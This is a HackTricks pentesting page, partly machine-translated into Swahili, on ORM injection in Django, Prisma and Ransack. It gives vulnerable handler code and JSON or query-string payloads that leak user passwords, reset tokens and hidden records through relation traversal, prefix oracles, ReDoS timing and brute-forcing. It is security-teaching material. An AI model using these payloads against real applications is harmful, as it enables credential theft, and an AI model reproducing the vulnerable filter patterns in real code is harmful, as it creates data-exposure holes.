ORM Injection

Support HackTricks

Django ORM (Python)

Katika post hii inaelezwa jinsi inavyowezekana kufanya Django ORM iwe hatarini kwa kutumia kwa mfano msimbo kama:

class ArticleView(APIView):
"""
Muonekano wa API wa msingi ambao watumiaji hupeleka maombi kwa ajili ya
kutafuta makala
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Angalia jinsi request.data yote (ambayo itakuwa json) inapitishwa moja kwa moja kwa filter objects from the database. Mshambuliaji anaweza kutuma filters zisizotarajiwa ili kuweza kupata data zaidi ya ile iliyotarajiwa kutoka kwake.

Mifano:

  • Login: Katika kujaribu kuingia rahisi jaribu kuvuja nywila za watumiaji waliojiandikisha ndani yake.

{
"username": "admin",
"password_startswith":"a"
}

Inawezekana kulazimisha nenosiri hadi litapotea.

  • Filtering ya uhusiano: Inawezekana kupita katika uhusiano ili kupoteza taarifa kutoka kwa safu ambazo hata hazikutarajiwa kutumika katika operesheni. Kwa mfano, ikiwa inawezekana kupoteza makala zilizoundwa na mtumiaji mwenye uhusiano hizi: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

Inawezekana kupata nywila za watumiaji wote ambao wameunda makala

  • Uchujaji wa uhusiano wa wengi kwa wengi: Katika mfano uliopita hatungeweza kupata nywila za watumiaji ambao hawajaandika makala. Hata hivyo, kufuatia uhusiano mwingine hii inawezekana. Kwa mfano: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

Katika kesi hii tunaweza kupata watumiaji wote katika idara za watumiaji ambao wameunda makala na kisha kuvuja nywila zao (katika json ya awali tunavuja tu majina ya watumiaji lakini kisha inawezekana kuvuja nywila).

  • Kutitisha Django Group na Permission many-to-many relations na watumiaji: Aidha, mfano wa AbstractUser unatumika kuunda watumiaji katika Django na kwa kawaida mfano huu una uhusiano wa many-to-many na Permission na Group tables. Ambayo kimsingi ni njia ya kawaida ya kufikia watumiaji wengine kutoka kwa mtumiaji mmoja ikiwa wako katika kikundi sawa au wanashiriki ruhusa sawa.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Kupita vizuizi vya filtr: Blogu hiyo hiyo ilipendekeza kupita matumizi ya filtr fulani kama articles = Article.objects.filter(is_secret=False, **request.data). Inawezekana kutoa makala ambazo zina is_secret=True kwa sababu tunaweza kurudi nyuma kutoka kwa uhusiano hadi kwenye jedwali la Article na kuvuja makala za siri kutoka kwa makala zisizo za siri kwa sababu matokeo yanajumuishwa na uwanja wa is_secret unakaguliwa katika makala zisizo za siri wakati data inavuja kutoka kwa makala za siri.

Article.objects.filter(is_secret=False, categories__articles__id=2)

Kukandamiza uhusiano kunawezesha kupita hata vichujio vilivyokusudiwa kulinda data inayonyeshwa.

  • Error/Time based via ReDoS: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa uchujaji ulifanya kazi au la ili kutumia hiyo kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inachukuliwa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya makosa ya database kupata oracle mpya.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

From te same post regarding this vector:

  • SQLite: Haina operator ya regexp kwa default (inahitaji kupakia nyongeza ya upande wa tatu)

  • PostgreSQL: Haina muda wa timeout wa regex wa default na ni rahisi kidogo kwa backtracking

  • MariaDB: Haina muda wa timeout wa regex

Prisma ORM (NodeJS)

The following are tricks extracted from this post.

  • Full find control:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

It's possible to see that the whole javascript body is passed to prisma to perform queries.

In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Ifuatayo inachagua machapisho yote yaliyoundwa na mtu mwenye nenosiri na itarudisha nenosiri:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Udhibiti kamili wa kipengele cha where:

Tuchunguze hii ambapo shambulio linaweza kudhibiti kipengele cha where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Inahatarisha kwa ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Inawezekana kuchuja nywila za watumiaji moja kwa moja kama:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

Kwa kutumia operesheni kama startsWith inawezekana kuvuja taarifa.

  • Kupita mchakato wa kuchuja wa uhusiano wa wengi kwa wengi:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Ni inawezekana kuvuja makala ambazo hazijachapishwa kwa kurudi nyuma kwenye uhusiano wa wengi-kwa-wengi kati ya Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Ni pia inawezekana kuvuja watumiaji wote kwa kutumia baadhi ya uhusiano wa mzunguko wa wengi kwa wengi:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Katika chapisho la asili unaweza kusoma seti kubwa ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja habari kwa kutumia mzigo wa muda. Hii ni:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST} is a list with 1000 strings to make sure the jibu linacheleweshwa wakati uvujaji sahihi unapatikana.

Ransack (Ruby)

These tricks where found in this post.

Kumbuka kwamba Ransack 4.0.0.0 sasa inatekeleza matumizi ya orodha ya ruhusa wazi kwa sifa na ushirikiano unaoweza kutafutwa.

Mfano unaoweza kuathiriwa:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Kumbuka jinsi uchunguzi utavyofafanuliwa na vigezo vilivyotumwa na mshambuliaji. Ilikuwa inawezekana kwa mfano kulazimisha nguvu token ya kurekebisha kwa:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Kwa kutumia brute-forcing na uhusiano wa uwezekano, ilikuwa inawezekana kuvuja data zaidi kutoka kwa hifadhidata.

Marejeo

Support HackTricks

Last updated